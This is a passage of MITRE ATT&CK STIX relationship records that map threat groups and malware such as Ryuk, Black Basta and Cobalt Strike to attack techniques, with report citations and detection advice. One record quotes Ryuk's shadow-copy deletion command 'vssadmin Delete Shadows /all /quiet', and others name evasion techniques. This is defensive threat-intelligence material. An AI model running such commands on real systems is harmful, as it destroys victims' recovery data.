Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"},{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"},{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"},{"source_name":"ClearSky MuddyWater June 2019","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020."}],"modified":"2020-05-18T18:28:00.134Z","description":"(Citation: Unit 42 MuddyWater Nov 2017)(Citation: FireEye MuddyWater Mar 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater June 2019)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3143fbc9-22cf-4278-a9cd-17be6389e375","created":"2023-12-07T19:21:04.802Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-07T19:21:04.802Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used Group Policy to deploy batch scripts for ransomware deployment.(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3144ceab-e735-4370-bafd-93fd5cf02873","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Demaske Netsh Persistence","description":"Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.","url":"https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31462755-d050-4875-9d0b-0a7eeb276326","type":"relationship","created":"2020-03-17T00:35:36.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}],"modified":"2020-03-17T00:35:36.515Z","description":"Various implementations of [CHOPSTICK](https://attack.mitre.org/software/S0023) communicate with C2 over SMTP and POP3.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3146b7d3-26c9-47c4-b114-d39a4a786fc9","created":"2022-07-25T17:36:35.622Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Mongall](https://attack.mitre.org/software/S1026) can identify removable media attached to compromised hosts.(Citation: SentinelOne Aoqin Dragon June 2022)\n","modified":"2022-07-25T17:36:35.622Z","relationship_type":"uses","source_ref":"malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--314719c9-a946-4630-a09c-d416b48f4c21","created":"2023-03-08T20:44:28.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Avertium Black Basta June 2022","description":"Avertium. (2022, June 1). AN IN-DEPTH LOOK AT BLACK BASTA RANSOMWARE. Retrieved March 7, 2023.","url":"https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware"},{"source_name":"BlackBerry Black Basta May 2022","description":"Ballmer, D. (2022, May 6). Black Basta: Rebrand of Conti or Something New?. Retrieved March 7, 2023.","url":"https://blogs.blackberry.com/en/2022/05/black-basta-rebrand-of-conti-or-something-new"},{"source_name":"Check Point Black Basta October 2022","description":"Check Point. (2022, October 20). BLACK BASTA AND THE UNNOTICED DELIVERY. Retrieved March 8, 2023.","url":"https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"},{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"},{"source_name":"Palo Alto Networks Black Basta August 2022","description":"Elsad, A. (2022, August 25). Threat Assessment: Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware"},{"source_name":"Trend Micro Black Basta May 2022","description":"Gonzalez, I., Chavez I., et al. (2022, May 9). Examining the Black Basta Ransomware’s Infection Routine. Retrieved March 7, 2023.","url":"https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html"},{"source_name":"NCC Group Black Basta June 2022","description":"Inman, R. and Gurney, P. (2022, June 6). Shining the Light on Black Basta. Retrieved March 8, 2023.","url":"https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/"},{"source_name":"Deep Instinct Black Basta August 2022","description":"Vilkomir-Preisman, S. (2022, August 18). Beating Black Basta Ransomware. Retrieved March 8, 2023.","url":"https://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence"},{"source_name":"Minerva Labs Black Basta May 2022","description":"Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.","url":"https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T20:35:53.479Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) has set the desktop wallpaper on victims' machines to display a ransom note.(Citation: Minerva Labs Black Basta May 2022)(Citation: BlackBerry Black Basta May 2022)(Citation: Cyble Black Basta May 2022)(Citation: Trend Micro Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta June 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Palo Alto Networks Black Basta August 2022)(Citation: Check Point Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--314a5160-17e0-44eb-9f4b-1a8e216b56a2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Bankshot","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}],"modified":"2020-02-18T03:40:29.831Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims’ machines.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--314aca1d-01a5-4549-b274-ba1112c3ca51","created":"2022-09-30T19:59:43.467Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:59:43.467Z","description":"[Misdat](https://attack.mitre.org/software/S0083) has uploaded files and data to its C2 servers.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--31501f0f-e5be-4980-a2f1-b241d68f654c","created":"2022-04-19T01:34:14.011Z","x_mitre_version":"0.1","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Orz](https://attack.mitre.org/software/S0229) can overwrite Registry settings to reduce its visibility on the victim.(Citation: Proofpoint Leviathan Oct 2017)","modified":"2022-04-19T01:34:14.011Z","relationship_type":"uses","source_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3151bdb1-baa0-4098-ac1c-a98cc72d0a84","created":"2022-04-15T13:46:02.323Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T13:46:02.323Z","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--315aab88-9b01-4a70-8f8c-173a3f29e79c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Clandestine Wolf","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"},{"source_name":"Palo Alto CVE-2015-3113 July 2015","description":"Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}],"modified":"2020-03-18T20:44:39.374Z","description":"[SHOTPUT](https://attack.mitre.org/software/S0063) is obscured using XOR encoding and appended to a valid GIF file.(Citation: FireEye Clandestine Wolf)(Citation: Palo Alto CVE-2015-3113 July 2015)","relationship_type":"uses","source_ref":"malware--58adaaa8-f1e8-4606-9a08-422e568461eb","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--315cd644-875d-4761-b440-f2cf48badbe0","type":"relationship","created":"2020-11-06T18:40:38.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","source_name":"Cobalt Strike TTPs Dec 2017"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.244Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use process hollowing for execution.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31667cdd-1ac5-46f5-8dbd-9ebaf09f00a9","type":"relationship","created":"2021-11-12T19:30:36.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2022-03-09T18:35:37.291Z","description":"[Diavol](https://attack.mitre.org/software/S0659) has used `CreateToolhelp32Snapshot`, `Process32First`, and `Process32Next` API calls to enumerate the running processes in the system.(Citation: Fortinet Diavol July 2021)","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--316bb062-76c2-4894-9f4e-57fa0938e6a4","type":"relationship","created":"2021-08-04T13:59:14.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:59:14.960Z","description":"(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--31728aa8-de3d-4edd-8c39-3d9d3091341a","created":"2023-02-14T18:44:26.813Z","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T18:44:26.813Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can execute PowerShell commands and scripts with the use of .NET DLL, `WoodyPowerSession`.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3173f84e-783b-43cd-95f7-b74277936b4d","created":"2022-09-22T20:51:00.229Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:51:00.229Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), the threat actors collected files and other data from compromised systems.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3179774b-9b7a-4720-850c-23c7b04d26c6","type":"relationship","created":"2021-01-05T15:07:54.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-01-05T15:07:54.903Z","description":"[Pay2Key](https://attack.mitre.org/software/S0556) can remove its log file from disk.(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--317b8a78-1c04-4cd7-a249-619bacfc7a44","type":"relationship","created":"2019-04-23T16:12:37.562Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.964Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) can enumerate service and service permission information.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3180b1b0-7cee-4334-8fcd-954f495eeb6d","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3185e611-cec6-4910-aa64-efd8fafe1072","type":"relationship","created":"2021-03-16T22:50:13.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 AcidBox June 2020","url":"https://unit42.paloaltonetworks.com/acidbox-rare-malware/","description":"Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."}],"modified":"2021-03-16T22:50:13.912Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has exploited vulnerabilities in the VBoxDrv.sys driver to obtain kernel mode privileges.(Citation: Unit42 AcidBox June 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--31864818-132a-48c8-ac12-723463d4f8dc","type":"relationship","created":"2020-06-02T15:39:14.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-02T15:39:14.511Z","description":"[CARROTBAT](https://attack.mitre.org/software/S0462) has the ability to execute command line arguments on a compromised host.(Citation: Unit 42 CARROTBAT January 2020)","relationship_type":"uses","source_ref":"malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--318afc9f-92f3-4262-af70-b2e045b87737","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.684Z","description":"(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3194bdc2-a0d3-412a-a14a-bc0c4f30bc9c","created":"2024-09-25T18:52:04.544Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T18:52:04.544Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used tools including [Wevtutil](https://attack.mitre.org/software/S0645) to remove malicious files from compromised hosts.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3194fa27-46b8-4a05-8d3a-12d7bfe9ad15","type":"relationship","created":"2020-05-14T14:51:52.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}],"modified":"2020-05-14T14:51:52.989Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has used vssadmin Delete Shadows /all /quiet to to delete volume shadow copies and vssadmin resize shadowstorage to force deletion of shadow copies created by third-party applications.(Citation: CrowdStrike Ryuk January 2019)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--31994fdc-6f52-4052-9748-d2bd3ea60caa","created":"2022-06-13T18:12:08.619Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 